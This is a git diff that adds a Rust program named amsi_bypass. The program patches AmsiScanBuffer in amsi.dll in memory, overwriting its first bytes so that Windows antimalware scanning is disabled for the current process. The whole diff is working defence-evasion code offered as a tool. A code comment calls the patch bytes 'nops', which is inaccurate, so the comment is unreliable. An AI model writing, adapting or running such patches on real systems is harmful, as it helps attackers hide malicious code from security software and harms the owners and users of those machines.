diff --git a/amsi_bypass/Cargo.toml b/amsi_bypass/Cargo.toml new file mode 100644 index 0000000..1946611 --- /dev/null +++ b/amsi_bypass/Cargo.toml @@ -0,0 +1,14 @@ +[package] +name = "amsi_bypass" +version = "0.1.0" +authors = ["Idov31 "] +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html +[[bin]] +name = "amsi_bypass" +path = "src/main.rs" + +[dependencies] +winapi = {version = "0.3.9", features=["memoryapi", "libloaderapi", "processthreadsapi"]} +win32-error = "0.9.0" diff --git a/amsi_bypass/src/main.rs b/amsi_bypass/src/main.rs new file mode 100644 index 0000000..e16665c --- /dev/null +++ b/amsi_bypass/src/main.rs @@ -0,0 +1,50 @@ +use std::{ffi::CString, ptr}; +use std::process::Command; + +use winapi::{ + um::{ + memoryapi::{ + VirtualProtect, + WriteProcessMemory + }, + libloaderapi::{ + LoadLibraryA, + GetProcAddress + }, + processthreadsapi::GetCurrentProcess, + winnt::PAGE_READWRITE + }, + shared::{ + minwindef::{ + DWORD, + FALSE + }, + ntdef::NULL + } +}; + +fn main() { + println!("[+] Patching amsi for current process..."); + + unsafe { + // Getting the address of AmsiScanBuffer. + let patch = [0x40, 0x40, 0x40, 0x40, 0x40, 0x40]; + let amsi_dll = LoadLibraryA(CString::new("amsi").unwrap().as_ptr()); + let amsi_scan_addr = GetProcAddress(amsi_dll, CString::new("AmsiScanBuffer").unwrap().as_ptr()); + let mut old_permissions: DWORD = 0; + + // Overwrite this address with nops. + if VirtualProtect(amsi_scan_addr.cast(), 6, PAGE_READWRITE, &mut old_permissions) == FALSE { + panic!("[-] Failed to change protection."); + } + let written: *mut usize = ptr::null_mut(); + + if WriteProcessMemory(GetCurrentProcess(), amsi_scan_addr.cast(), patch.as_ptr().cast(), 6, written) == FALSE { + panic!("[-] Failed to overwrite function."); + } + + // Restoring the permissions. + VirtualProtect(amsi_scan_addr.cast(), 6, old_permissions, &mut old_permissions); + println!("[+] AmsiScanBuffer patched!"); + } +}